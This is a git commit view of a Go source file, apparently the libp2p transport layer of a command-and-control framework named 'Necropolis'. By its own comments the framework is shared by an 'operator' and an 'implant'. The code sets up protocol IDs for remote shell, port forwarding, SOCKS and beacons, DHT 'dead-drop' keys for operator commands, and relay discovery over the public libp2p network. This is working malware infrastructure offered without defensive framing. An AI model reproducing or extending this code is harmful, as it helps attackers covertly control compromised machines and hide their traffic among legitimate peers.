update readme

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit 50cbc601d5
69 changed files with 15056 additions and 0 deletions
+511
View File
@@ -0,0 +1,511 @@
// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
// discovery. Used by both the operator and the implant.
package transport
import (
"context"
"fmt"
"log"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p"
dht "github.com/libp2p/go-libp2p-kad-dht"
pubsub "github.com/libp2p/go-libp2p-pubsub"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/core/protocol"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
"github.com/libp2p/go-libp2p/p2p/host/autorelay"
"github.com/multiformats/go-multiaddr"
)
// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
const (
NecropolisProtocolID protocol.ID = "/x/1.0.0"
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
BeaconProtocolID protocol.ID = "/bc/1.0.0"
CmdProtocolID protocol.ID = "/bc/1.0.0/cmd"
CommandTopicPrefix string = "/c/"
BeaconTopicPrefix string = "/b/"
TaskTopicPrefix string = "/t/"
CommandsSuffix string = "/cx"
BeaconsSuffix string = "/bx"
TasksSuffix string = "/tx/"
)
// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
func DefaultBootstrapAddrs() []peer.AddrInfo {
var out []peer.AddrInfo
for _, s := range defaultBootstrapPeers {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
continue
}
out = append(out, *pi)
}
return out
}
var defaultBootstrapPeers = []string{
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
}
// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
// relay settings, DHT, mDNS, and the libp2p identity key.
type NodeConfig struct {
ListenAddr string
BootstrapPeers []peer.AddrInfo
EnableRelay bool
EnableRelayService bool
EnableMDNS bool
EnableDHT bool
RelayAddrs []string
PrivateKey crypto.PrivKey
}
// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
// cached topics/subscriptions.
type Node struct {
Host host.Host
PubSub *pubsub.PubSub
DHT *dht.IpfsDHT
disc *routingdiscovery.RoutingDiscovery
config NodeConfig
topics map[string]*pubsub.Topic
subs map[string]*pubsub.Subscription
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
}
// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
// and configures auto-relay if relay addresses are provided.
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
ctx, cancel := context.WithCancel(ctx)
baseOpts := []libp2p.Option{
libp2p.ListenAddrStrings(cfg.ListenAddr),
}
if cfg.PrivateKey != nil {
baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
}
if cfg.EnableRelay {
baseOpts = append(baseOpts, libp2p.EnableRelay())
}
if cfg.EnableRelayService {
baseOpts = append(baseOpts, libp2p.EnableRelayService())
}
var h host.Host
var err error
if len(cfg.RelayAddrs) > 0 {
if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
} else {
var relays []peer.AddrInfo
for _, s := range cfg.RelayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
}
relays = append(relays, *pi)
}
baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
}
} else if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
}
baseOpts = append(baseOpts, opts...)
h, err = libp2p.New(baseOpts...)
if err != nil {
cancel()
return nil, fmt.Errorf("create libp2p host: %w", err)
}
if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
}
params := pubsub.DefaultGossipSubParams()
params.D = 6
params.Dlo = 4
params.Dhi = 12
params.HistoryLength = 10
params.HistoryGossip = 5
params.HeartbeatInterval = 1 * time.Second
ps, err := pubsub.NewGossipSub(ctx, h,
pubsub.WithPeerExchange(true),
pubsub.WithFloodPublish(true),
pubsub.WithGossipSubParams(params),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create pubsub: %w", err)
}
n := &Node{
Host: h,
PubSub: ps,
config: cfg,
topics: make(map[string]*pubsub.Topic),
subs: make(map[string]*pubsub.Subscription),
ctx: ctx,
cancel: cancel,
}
if cfg.EnableDHT {
d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
dht.ProtocolPrefix("/necropolis"),
dht.NamespacedValidator("necropolis", passThroughValidator{}),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create dht: %w", err)
}
n.DHT = d
n.disc = routingdiscovery.NewRoutingDiscovery(d)
}
return n, nil
}
// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
// starts mDNS if enabled.
func (n *Node) StartDiscovery() error {
go func() {
defer func() {
recover()
}()
for _, pi := range n.config.BootstrapPeers {
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
if err := n.Host.Connect(connectCtx, pi); err != nil {
cancel()
continue
}
cancel()
}
}()
if n.DHT != nil {
go func() {
defer func() {
recover()
}()
n.DHT.Bootstrap(n.ctx)
}()
}
if n.config.EnableMDNS {
svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
if err := svc.Start(); err != nil {
return fmt.Errorf("start mdns: %w", err)
}
}
return nil
}
type mdnsNotifee struct {
h host.Host
}
// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.h.ID() {
return
}
for _, addr := range pi.Addrs {
m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
}
}
// Advertise registers this node under a DHT rendezvous namespace.
func (n *Node) Advertise(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindPeers performs a DHT-based peer discovery for the given namespace.
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
return n.disc.FindPeers(ctx, ns)
}
// JoinTopic joins a PubSub topic, caching the handle for reuse.
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
n.mu.Lock()
defer n.mu.Unlock()
if t, ok := n.topics[topic]; ok {
return t, nil
}
t, err := n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
return t, nil
}
// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
n.mu.Lock()
defer n.mu.Unlock()
if s, ok := n.subs[topic]; ok {
return s, nil
}
t, ok := n.topics[topic]
if !ok {
var err error
t, err = n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
}
sub, err := t.Subscribe()
if err != nil {
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
}
n.subs[topic] = sub
return sub, nil
}
// Publish sends data to a PubSub topic.
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
t, err := n.JoinTopic(topic)
if err != nil {
return err
}
return t.Publish(ctx, data)
}
// ConnectToPeer establishes a libp2p connection to the given peer.
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
return n.Host.Connect(ctx, pi)
}
// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
n.Host.SetStreamHandler(pid, handler)
}
// NewStream opens a libp2p stream to the given peer on the given protocol.
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
return n.Host.NewStream(ctx, p, pid)
}
// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
func (n *Node) WaitForDHT(ctx context.Context) bool {
for i := 0; i < 30; i++ {
if n.DHT.RoutingTable().Size() >= 5 {
return true
}
select {
case <-ctx.Done():
return false
case <-time.After(2 * time.Second):
}
}
return false
}
// Close cancels the node context, shuts down the DHT, and closes the host.
func (n *Node) Close() error {
n.cancel()
if n.DHT != nil {
n.DHT.Close()
}
return n.Host.Close()
}
// Addrs returns the host's multiaddresses.
func (n *Node) Addrs() []multiaddr.Multiaddr {
return n.Host.Addrs()
}
// ID returns the host's libp2p peer ID.
func (n *Node) ID() peer.ID {
return n.Host.ID()
}
// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
if n.DHT == nil {
return fmt.Errorf("DHT not enabled")
}
return n.DHT.PutValue(ctx, key, value)
}
// GetDHTValue retrieves the best value for key from the DHT.
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
if n.DHT == nil {
return nil, fmt.Errorf("DHT not enabled")
}
val, err := n.DHT.GetValue(ctx, key)
if err != nil {
return nil, err
}
return val, nil
}
// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
// where we just need storage with no validation.
type passThroughValidator struct{}
func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
// CommandDHTKey returns the DHT key for operator command dead-drops.
// Registered under the /necropolis/ namespace via NamespacedValidator.
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
}
// RelayRendezvousString returns the DHT namespace for relay peer discovery.
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
return "necropolis/relay/" + operatorID.String()
}
// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
peerCh, err := n.disc.FindPeers(ctx, ns)
if err != nil {
return nil, err
}
var out []peer.AddrInfo
for pi := range peerCh {
if len(pi.Addrs) == 0 {
continue
}
out = append(out, pi)
if len(out) >= limit {
break
}
}
return out, nil
}
// findRelayCandidates scans connected peers for those running circuit relay.
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
ch := make(chan peer.AddrInfo, num)
go func() {
defer func() {
recover()
}()
defer close(ch)
if h == nil {
return
}
for _, p := range h.Network().Peers() {
if len(ch) >= num {
return
}
protocols, err := h.Peerstore().GetProtocols(p)
if err != nil {
continue
}
for _, proto := range protocols {
if strings.Contains(string(proto), "circuit/relay") {
addrs := h.Peerstore().Addrs(p)
if len(addrs) > 0 {
select {
case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
case <-ctx.Done():
return
}
}
break
}
}
}
}()
return ch
}
// tryStaticRelayConnections attempts to connect to each static relay address in the config.
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
for _, s := range relayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
log.Printf("[node] parse relay addr %q: %v", s, err)
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
log.Printf("[node] parse relay peer %q: %v", s, err)
continue
}
connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
err = h.Connect(connCtx, *pi)
cancel()
if err != nil {
log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
continue
}
log.Printf("[node] connected to relay %s", pi.ID.String())
}
}